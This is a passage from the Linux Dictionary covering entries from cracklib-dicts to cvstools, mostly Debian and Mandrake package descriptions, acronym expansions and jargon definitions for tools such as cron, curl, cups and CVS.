The cracklib-dicts package includes the CrackLib dictionaries. CrackLib will need to use the dictionary appropriate to your system, which is normally put in /usr/share/dict/words. Cracklib-dicts also contains the utilities necessary for the creation of new dictionaries. If you are installing CrackLib, you should also install cracklib-dicts. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cracklib-runtime

A pro-active password checker library Run-time support programs which use the shared library in cracklib2 including programs to build the password dictionary databases used by the functions in the shared library. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cracklib2

A pro-active password checker library Shared library for cracklib2 which contains a C function which may be used in a passwd like program. The idea is simple: try to prevent users from choosing passwords that could be guessed by crack by filtering them out, at source. cracklib2 is NOT a replacement passwd program. cracklib2 is a LIBRARY. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRAFT

Cray Research Adaptive FORTRAN (Cray, MPP, FORTRAN) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

craft

Warcraft 2-like multi-player real-time strategy game You are a Viking and have to lead a nation. Your main task is to command citizens; you can tell them to harvest resources, or to build one of the 9 building types. The ultimate goal is to create enough knights, catapults etc. to wipe out the competing civilizations. You can play against other humans by sending a window to their X display, or against a pretty clever AI. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

crafted

Map editor for FreeCraft, the free WarCraft II clone. This is the map or from the FreeCraft Project, a realtime strategy game compatible with WarCraft II. This is the latest snapshot from the CVS repository. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRAM

Cache RAM (RAM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRAM

Card Random Access Memory (RAM, IC) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cramfsprogs

Tools for CramFs (Compressed ROM File System). This package contains tools that let you construct a CramFs (Compressed ROM File System) image from the contents of a given directory, as well as checking a constructed CramFs image and extracting its contents. Cram file systems are used for Debian INITRD images. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

crank

A classical CRypto ANalysis toolKit Crank is short for "CRyptANalysis toolKit", and its overall purpose is to provide a powerful and extensible environment for solving classical (pen-and-paper) ciphers, providing as much automation as possible. Classical ciphers include common schemes like monoalphabetic substitutions, where each letter of the alphabet is mapped to another (usually different) letter consistently through the text. The first version of Crank is restricting itself to these special ciphers. Other algorithms forever devoid of Crank's attentions include Enigma, RSA, DES, MurkelFish, or anything else invented after 1900. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRAS

Cable Repair Administrative System From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

crash

1. n. A sudden, usually drastic failure. Most often said of the system (q.v., sense 1), esp. of magnetic disk drives (the term originally described what happens when the air gap of a hard disk collapses). "Three users lost their files in last night's disk crash." A disk crash that involves the read/write heads dropping onto the surface of the disks and scraping off the oxide may also be referred to as a `head crash', whereas the term `system crash' usually, though not always, implies that the operating system or other software was at fault. 2. v. To fail suddenly. "Has the system just crashed?" "Something crashed the OS!" See down. Also used transitively to indicate the cause of the crash (usually a person or a program, or both). "Those idiots playing SPACEWAR crashed the system." 3. vi. Sometimes said of people hitting the sack after a long hacking run; see gronk out. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

crash

A kernel debugging utility, allowing gdb like syntax. The core analysis suite is a self-contained tool that can be used to investigate either live systems, kernel core dumps created from the Kernel Core Dump patch offered by Mission Critical Linux, or kernel core dumps created by the LKCD patch offered by SGI. o The tool is loosely based on the SVR4 crash command, but has been completely integrated with gdb in order to be able to display formatted kernel data structures, disassemble source code, etc. o The current set of available commands consist of common kernel core analysis tools such as a context-specific stack traces, source code disassembly, kernel variable displays, memory display, dumps of linked-lists, etc. In addition, any gdb command may be entered, which in turn will be passed onto the gdb module for execution. o There are several commands that delve deeper into specific kernel subsystems, which also serve as templates for kernel developers to create new commands for analysis of a specific area of interest. Adding a new command is a simple affair, and a quick recompile adds it to the command menu. o The intent is to make the tool independent of Linux version dependencies, building in recognition of major kernel code changes so as to adapt to new kernel versions, while maintaining backwards compatibility. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Crash Recovery Kit

The Crash Recovery Kit for Linux is based on Red Hat Linux. It can be used as a recovery disc for lots of systems, not just Linux. All Linux filesystems as well as FAT16 and FAT32 are supported. Version 2.4.18 was released March 31, 2002. A CD-based distribution. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

crashmail

JAM and *.MSG capable Fidonet tosser CrashMail II is basically a more portable version of CrashMail, a tosser for Amiga computers. Users of the old Amiga version will probably find some things familiar while some features are gone such as the ARexx port (for obvious reasons!) and the GUI configuration editor. The only feature that CrashMail II has and the old CrashMail hasn't is support for JAM messagebases. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

crashme

Stress tests operating system stability crashme generates strings of random bytes and then attempts to execute them. Used to test kernel stability. ****WARNING**** While Linux has been known to survive days and weeks of crashme, IT IS NOT GUARANTEED THAT YOUR SYSTEM WILL SURVIVE! DO NOT USE THIS PROGRAM UNLESS YOU REALLY WANT TO CRASH YOR COMPUTER From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

crawl

Dungeon Crawl, a text-based roguelike game Crawl is a fun game in the grand tradition of games like Rogue, Hack, and Moria. Your objective is to travel deep into a subterranean cave complex and retrieve the Orb of Zot, which is guarded by many horrible and hideous creatures. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRC

Cyclic Redundancy Check[sum] From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRC (Cyclic Redundancy Check)

A form of a checksum that is able to detect accidental transmission errors. It is used on Ethernet in order to detect packet errors. It is also used on some operating systems in order to detect accidental errors in programs before running them. Key point: Like a checksum, a CRC is not able to detect intentional changes. You must use a cryptographic hash for that. From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRCG

Common Routing Connection Group From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRCG

[fraunhofer] Center for Research in Computer Graphics (org., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRD

Color Rendering Dictionary (PS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

createdisk

Plex86 Empty Disk Image Utility This tool is part of the Plex86 project. Its purpose is to generate disk images that are used to allocate the guest operating system in Plex86 environment. It can be useful for other programs that also make use of disk images, like Bochs. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

credentials

Your authentication information, such as a password, token, or certificate. Since not all systems require a password to login, we use the more abstract term "credentials" to refer to this information. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CREN

Corporation for Research and Educational Networking (network) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRET

Color - Resolution Enhancement Technology (HP), "C-REt" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRFVC

Connection Related Function Virtual Channel (UPC, UNI), "CRF(VC)" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRFVP

Connection Related Function Virtual Path (UPC, UNI), "CRF(VP)" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRI

Cray Research, Inc. (manufacturer) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cricket

Program for collection and display of time-series data This is Cricket. It is a configuration, polling, and data-display engine wrapped around the RRD tool by Tobias Oetiker. There are three user-visible pieces to Cricket: the collector, the grapher, and the config tree. The collector runs from cron and fetches data from a number of devices according to the info it finds in the config tree. The grapher is a CGI application that allows users to traverse the config tree from a web browser and see the data that the collector recorded. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRIMM

Continuity Rambus Inline Memory Module (RIMM, IC, Rambus) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

crimson

A hex-based tactical game Crimson Fields is a hex-based tactical war game in the tradition of Battle Isle (tm). Two players command their units on a map of hexagons, trying to accomplish mission objectives ranging from defending important locations to simply destroying all enemy forces. The game can either be played in 'hot seat' mode or via email. There's no AI opponent, yet. A simple editor can be used to create custom level files. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRIN

Centre de Recherche en Informatique de Nancy (org., France) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRISC

Complex-Reduced Instruction Set Computer From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRISP

Complex-Reduced Instruction Set Processor From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

criticalmass

Shoot-em-up a la galaxian criticalmass, aka critter, is a shootemup in the style of Galaxian with very colorful and smooth graphics (provided that you have 3d acceleration) Note: criticalmass uses OpenGL, and will probably not run well if you do not have a 3d accelerator which is supported by X. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRJE

Conversational Remote Job Entry (RJE) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRL

Certificate Revocation List From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRL

Compile-time Reconfigurable Logic (RL) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

crlf

/ker'l*f/, sometimes /kru'l*f/ or /C-R-L-F/ n. (often capitalized as `CRLF') A carriage return (CR, ASCII 0001101) followed by a line feed (LF, ASCII 0001010). More loosely, whatever it takes to get you from the end of one line of text to the beginning of the next line. See newline, terpri. Under Unix influence this usage has become less common (Unix uses a bare line feed as its `CRLF'). From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRLF

Carriage Return - Line Feed (ASCII, DOS) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRM

Customer Relationship Management From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cron

A daemon for UNIX and UNIX-compatible operating systems which executes commands and processes at arbitrary times specified by a user or application. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Cron

A Linux daemon that executes specified tasks at a designated time or interval (can be daily, weekly, etc....). From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cron

management of regular background processing cron is a background process (^daemon') that runs programs at regular intervals (for example, every minute, day, week or month); which processes are run and at what times are specified in the `crontab'. Users may also install crontabs so that processes are run on their behalf, though this feature can be disabled or restricted to particular users. Output from the commands is usually mailed to the system administrator (or to the user in question); you should probably install a mail system as well so that you can receive these messages. This cron package is configured by default to do various standard system maintenance tasks, such as ensuring that logfiles do not grow endlessly and overflow the disk. The lockfile-progs package is only a "Suggests" because of the poor way that dselect handles "Recommends", but I do strongly suggest that you install it; it prevents /etc/cron.daily/standard from running multiple times if something gets jammed. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cron

On UNIX, the cron daemon automated background tasks (such as backups or rotating the logs). It is really the simplest of programs; it reads instructions from a file and executes the appropriate programs at the scheduled time. Key point: When the machine is compromised, intruders will often put backdoor jobs into the crontab. When the victim tries to clean up his/her machine, the jobs in the crontab will run giving the intruder control again. This sort of thing happened in the famous attack against the New York Times; they kept cleaning up the machine, but cron kept giving control back to the intruder. Typically, these jobs would run during the wee hours of the morning when nobody is looking. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cron-apt

Automatic update of packages using apt This package contains a tool that is run by a cron job at regular intervals. By default it just updates the package list and download new packages without installing. You can instruct it to run anything that you can do with apt-get. It also sends mail (configurable) to the system administrator on errors. Observe that this tool is a security risk, so you should not set it to do more than necessary (automatic upgrade of all packages is NOT recommended). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cronolog

Logfile rotator for web servers A simple program that reads log messages from its input and writes them to a set of output files, the names of which are constructed using template and the current date and time. The template uses the same format specifiers as the Unix date command (which are the same as the standard C strftime library function). It intended to be used in conjunction with a Web server, such as Apache, to split the access log into daily or monthly logs: TransferLog
"/usr/sbin/cronolog /var/log/apache/%Y/access.%Y.%m.%d.log" A cronosplit script is also included, to convert existing traditionally-rotated logs into this rotation format. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cronosii

fast, light-weight and functional GNOME e-mail client Cronos II is a powerful GNOME e-mail client. It has been designed to be fast, light, user-friendly, yet strong. Its strength resides in the extended configuration, that the user can manage dynamically without touching any code at all. The

friendly aspect resides in the intuitive interface and in the simplicity of the environment and in the full compatibility with the GNOME Project. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

crontab

A short name for file /var/lib/crontab, which contains a list of Linux commands to be performed at specific times. A system administrator can use crontab as an automatic timer to trigger the initiation of important jobs. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

crontabs

The crontabs package contains root crontab files. Crontab is the program used to install, uninstall or list the tables used to drive the cron daemon. The cron daemon checks the crontab files to see when particular commands are scheduled to be executed. If commands are scheduled, it executes them.

Crontabs handles a basic system function, so it should be installed on your system. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

crossfire-client

Base Client Side of the game Crossfire. Crossfire is "a multiplayer graphical arcade and adventure game made for the X environment. It has certain flavours from other games, especially Gauntlet (TM) and Nethack/Moria. Any number of players can move around in their own window, finding and using items and battle monsters. They can choose to cooperate or compete in the same 'world'." This program can operate stand alone if you have access to a remote server. Playing with sounds will require rplay, also. This package contains no binaries From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

crossfire-server

Server for Crossfire Games This is the server program for the crossfire client Crossfire is a multiplayer graphical arcade and adventure game made for the X environment. It has certain flavours from other games, especially Gauntlet (TM) and Nethack/Moria. Any number of players can move around in their own window, finding and using items and battle monsters. They can choose to cooperate or compete in the same "world". From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRP

Candidate Rendezvous Point (PIM, RP, Multicast), "C-RP" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRP

Common Reference Platform (PowerPC) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRPC

Center for Research on Parallel Computation (STC) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRS

Cell Relay Service (UNI, ATM) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRT

Cathode Ray Tube From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRT

Computer Technology Research [corporation] (provider) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRTC

Cathode Ray Tube Controller (EGA, VGA, MCGA) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cruft

Find any cruft built up on your system cruft is a program to look over your system for anything that shouldn't be there, but is; or for anything that should be there, but isn't. It bases most of its results on dpkg's database, as well as a list of `extra files' that can appear during the lifetime of various packages. cruft is still in pre-release; your assistance in improving its accuracy and performance is appreciated. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CRUX

CRUX is a lightweight, i686-optimized Linux distribution targeted at experienced Linux users. The primary focus of this distribution is "keep it simple", which is reflected in a simple tar.gz-based package system, BSD-style initscripts, and a relatively small collection of trimmed packages. The secondary focus is utilization of new Linux features and recent tools and libraries. Version 1.1 was released March 24, 2003. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

crypt++el

Emacs-Lisp Code for handling compressed and encrypted files Code for handling all sorts of compressed and encrypted files like: .gz, .tar.gz, .Z, .zip, PGP etc. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cryptcat

TCP/IP swiss army knife extended with twofish encryption Cryptcat is a simple Unix utility which reads and writes data across network connections, using TCP or UDP protocol while encrypting the data being transmitted. It is designed to be a reliable "back-end" tool that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Cryptography

The study of codes, cryptography refers to the making and breaking of algorithms to conceal or otherwise encrypt information. One of the most popular internet encryption schemes is PGP. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

crystalspace

Multiplatform 3D Game Development Kit Crystal Space is a free 3D game toolkit. It can be used for a variety of 3D visualization tasks. Many people will probably be interested in using Crystal Space as the basis of a 3D game, for which it is well suited. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CS

Carrier Selection From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CS

Chip Select (IC) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CS

csh

Shell with C-like syntax, standard login shell on BSD systems. The C shell was originally written at UCB to overcome limitations in the Bourne shell. Its flexibility and comfort (at that time) quickly made it the shell of choice until more advanced shells like ksh, bash, zsh or tesh appeared. Most of the latter incorporate features original to csh. This package is based on current OpenBSD sources. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

- CSS (Cascading Style Sheet)**
A standard for specifying the appearance of text and other elements. CSS was developed for use with HTML in Web pages but is also used in other situations, notably in applications built using XPF. CSS is typically used to provide a single "library" of styles that are used over and over throughout a large number of related documents, as in a web site. A CSS file might specify that all numbered lists

are to appear in italics. By changing that single specification the look of a large number of documents can be easily changed. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cssc

Clone of the Unix SCCS revision-control system. SCCS is a de-facto standard shipped with most commercial Unices, and is the pre-file revision-control system under many project-wide revision-control systems. This software is under development and not all features are implemented at this time. GNU-based systems use RCS instead of SCCS. ctags

The ctags program generate an index (or "tag") file for C, C++, Eiffel, Fortran, and Java language objects found in files. This tag file allows these items to be quickly and easily located by a text editor or other utility. A "tag" signifies a language object for which an index entry is available (or, alternatively, the index entry created for that object). Alternatively, ctags can generate a cross reference file which lists, in human readable form, information about the various source objects found in a set of language files. From Mandrake 9.0 RPM

cthumb

Linux Dictionary

A program to generate themable Web picture albums cthumb allows you to create themable web picture albums, i.e. collections of digital pictures, with small thumbnails of your pictures and with captions. In addition, it optionally allows you to have several views of the collection of pictures. An album is composed of a series of pages, each composed of a collection of pictures. For each page (and each picture), you can have several annotations per picture. cthumb will generate several versions of the page, for each annotation type. You can customize almost everything in the way the albums look on the screen, from the size of the thumbnails to the background and foreground colors, the border colors, whether you want film-strips, etc. From Debian 3.0r0 APT

unloop C loops From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- cup**

LALR parser generator for Java(tm) CUP is the "Constructor of Useful Parsers", a system for generating parsers from simple LALR specifications. It serves the same role as the widely used program YACC and in fact offers most of the features of YACC. However, CUP is written in Java, uses specifications including embedded Java code, and produces parsers which are implemented in Java. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cups

The Common Unix Printing System provides a portable printing layer for UNIX(TM) operating systems. It has been developed by Easy Software Products to promote a standard printing solution for all UNIX vendors and users. CUPS provides the System V and Berkeley command-line interfaces. This is the main package needed for CUPS servers (machines where a printer is connected to or which host a queue for a network printer). It can also be used on CUPS clients so that they simply pickup broadcasted printer information from other CUPS servers and do not need to be assigned to a specific CUPS server by an/etc/cups/client.conf file. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cupsys

Common UNIX Printing System(tm) – server The Common UNIX Printing System (or CUPS(tm)) is a printing system and general replacement for lpd and the like. It supports the Internet Printing Protocol (IPP), and has its own filtering driver model for handling various document types. This package provides the CUPS scheduler/daemon and related files. The terms "Common UNIX Printing System" and "CUPS" are trademarks of Easy Software Products (www.easysw.com), and refer to the original source packages from which these packages are made. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

curator

Turn directories of images into static web content Curator is a powerful script that allows one to generate Web page image galleries with the intent of displaying photographic images on the Web, or for a CD-ROM presentation and archiving. It generates static Web pages only – no special configuration or running scripts are required on the server. The script supports many file formats, hierarchical directories, thumbnail generation and update, per-image description file with any attributes, and 'tracks' of images spanning multiple directories. The templates consist of HTML with embedded Python. Running this script only requires a recent Python interpreter and the ImageMagick tools. Upstream is: <http://curator.sourceforge.net/> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

curl

Get a file from an FTP, GOPHER, HTTP or HTTPS server. curl is a client to get documents/files from servers using any of the supported protocols. The command is designed to work without user interaction or any kind of interactivity. curl offers a busload of useful tricks like proxy support, user authentication, ftp upload, HTTP post, file transfer resume and more. This package is able to handle SSL requests only if installed together with libcurl2-ssl. More informations can be found at the curl web site <http://curl.haxx.se> . From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cursel

simple language to provide text application interfaces CURSEL is a freeware FMLI implementation, a small language that allows you to quickly make a form- and menu- based character interface to shell scripts and other programs. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cursor

Normally a block character which marks the place for input on a computer screen. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

curves

colorful console interface for CVS version control CurVeS performs two functions. It provides a menu and command completion interface to CVS so that inexperienced users can learn the features of

CVS without documentation. This includes the creation of some meta-features built upon standard CVS commands that commonly are used together. The second function of CurVeS is to provide visual presentation of a project directory so that the status of each file is comprehensible at a glance. CurVeS uses color, when available, to accent the file classification marks. From Debian 3.0r0 APT

CUU

ComputerUnterstuetzte Unterweisung From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cuyo

Tetris-like game with very impressive effects. Cuyo, named after a Spanish possessive pronoun, shares with tetris that things fall down and how to navigate them. When enough "of the same type" come "together", they explode. The goal of each level is to blow special "stones" away, you start with. But what "of the same type" and "together" means, varies with the levels. If you hear someone shout that a dragon is always burning his elephants, so that he is not able to blow the volcano away, there are good chances to find Cuyo on his screen. WARNING: It is known to successfully get many people away from more important things to do. From Debian 3.0r0 APT

CVIA

Computer Virus Industry Association (org., USA) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cvm

Credential Validation Modules CVM is a framework for validating a set of credentials against a database using a filter program. The modules act as a filter, taking a set of credentials as input and writing a set of facts as output if those credentials are valid. Optional input is given to the module through environment variables. Some of the ideas for CVM came from experience with PAM (pluggable authentication modules), the checkpassword interface used by qmail-pop3d, and the "authmod" interface used by Courier IMAP and POP3. This framework places fewer restrictions on the invoking client than checkpassword does, and is much simpler to implement on both sides than PAM and the authmod framework. See <http://untroubled.org/cvm/cvm.html> for more information. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CVS

A source code control system is a MUST to manage the changes occurring to a software project during development. Developers need a complete history of changes to backtrack to previous versions in case of any problems. Since source code is the most vital component of any software project and software development takes a huge amount of time and money, it is very important to spend some time in safe-guarding the source code by using source code control systems like CVS and RCS. CVS (Concurrent Version Control System) is a powerful tool which allows concurrent development of software by multiple users. It uses RCS underneath and has an application layer interface as a wrapper on top of RCS. CVS can record the history of your files (usually, but not always, source code). CVS only stores the differences between versions, instead of every version of every file you've created. CVS also keeps a log of who, when and why changes occurred, among other aspects. CVS is very helpful for managing releases and controlling the concurrent editing of source files among multiple authors. Instead of providing version control for a collection of files in a single directory, CVS provides version control for a hierarchical collection of directories consisting of revision controlled files. These directories and files can then be combined to form a software release. CVS can be used for storing "C", "C++", Java, Perl, HTML and other files. HISTORY of CVS: CVS is a very highly sophisticated and complex system. It is the "State of the Art" technology and is so called "software miracle". The CVS software is a very advanced and capable system developed over a very long period of time. And it took several years to mature!! It took about 20 to 30 years of research to develop CVS algorithms and later it was coded into a software. And even today, it is still evolving!! CVS algorithms actually started in Universities several decades ago and CVS implementation started out as a bunch of shell scripts written by Dick Grune, who posted it to the newsgroup comp.sources.unix in the volume 6 release of December, 1986. While no actual code from these shell scripts is present in the current version of CVS much of the CVS conflict resolution algorithms come from them. In April, 1989, Brian Berliner designed and coded CVS. Jeff Polk later helped Brian with the design of the CVS module and vendor branch support. And today each and every major software development project in the world is written using CVS as the safe repository. As good old software hats say – "You are in very safe hands, if you are using CVS !!!" From <http://www.milkywaygalaxy.freesevers.com> <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CVS

Computer Vision Syndrome From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CVS

Concurrent Versions System (Unix) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cvs

Concurrent Versions System CVS is a version control system, which allows you to keep old versions of files (usually source code), keep a log of who, when, and why changes occurred, etc., like RCS or SCCS. Unlike the simpler systems, CVS does not just operate on one file at a time or one directory at a time, but operates on hierarchical collections of directories consisting of version controlled files. CVS helps to manage releases and to control the concurrent editing of source files among multiple authors. CVS allows triggers to enable/log/control various operations and works well over a wide area network. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cvs

CVS means Concurrent Version System; it is a version control system which can record the history of your files (usually, but not always, source code). CVS only stores the differences between versions, instead of every version of every file you've ever created. CVS also keeps a log of who, when and why changes occurred, among other aspects. CVS is very helpful for managing releases and controlling the concurrent editing of source files among multiple authors. Instead of providing version control for a collection of files in a single directory, CVS provides version control for a hierarchical collection of directories consisting of revision controlled files. These directories and files can then be combined together to form a software release. Install the cvs package if you need to use a version control system.

From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cvs2cl

CVS-log-message-to-ChangeLog conversion script This perl script produces a GNU-style ChangeLog for CVS-controlled sources, by running "cvs log" and parsing the output. Duplicate log messages get unified in the Right Way. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cvs2html

create HTML versions of CVS logs cvs2html is program that transforms the 'cvs log' output into a HTML file. The program can be used on any type of cvs archive, but since it invokes cvs itself, it needs to be run in a machine having a local checked out copy of the archive and access to the repository. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cvsbook

Open Source Development with CVS, an online book This is an online version of a book written by Karl Fogel and published by Coriolis, Inc. This book covers CVS, starting with a tutorial and going on to cover repository administration, more advanced topics, troubleshooting, and a complete CVS reference. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cvsbug

send problem report (PR) about CVS to a central support site From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cvsconfig

The GNU Concurrent Versions System From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CVSD

Continuous Variable Delta Modulation (DFUe) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CVSELP

Codex Vector Sum Excited Linear Prediction [algorithm] (Motorola, VOFR) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cvsgraph

Create a tree of revisions/branches from a CVS/RCS file. CvsGraph was inspired by the graph option from WinCVS. It represents the revisions and branches in a CVS/RCS file in a graphical tree structure, also listing any tags associated with any given revision. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cvsps

Tool to generate CVS patch set information CVSPs is a program for generating 'patch set' information from a CVS repository. A patch set in this case is defined as a set of changes made to a collection of files, all committed at the same time (using a single 'cvs commit' command). This information is valuable for seeing the big picture of the evolution of a CVS project. While CVS tracks revision information, it is often difficult to see what changes were committed 'atomically' to the repository. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cvsup

A network file distribution system optimized for CVS (client) CVSup is a software package for distributing and updating collections of files across a network. It can efficiently and accurately mirror all types of files, including sources, binaries, hard links, symbolic links, and even device nodes. CVSup's streaming communication protocol and multithreaded architecture make it most likely the fastest mirroring tool in existence today. In addition to being a great general-purpose mirroring tool, CVSup includes special features and optimizations specifically tailored to CVS repositories. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cvsupd

A network file distribution system optimized for CVS (server) CVSup is a software package for distributing and updating collections of files across a network. It can efficiently and accurately mirror

all types of files, including sources, binaries, hard links, symbolic links, and even device nodes. CVSup's streaming communication protocol and multithreaded architecture make it most likely the fastest mirroring tool in existence today. In addition to being a great general-purpose mirroring tool, CVSup includes special features and optimizations specifically tailored to CVS repositories. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cvstools

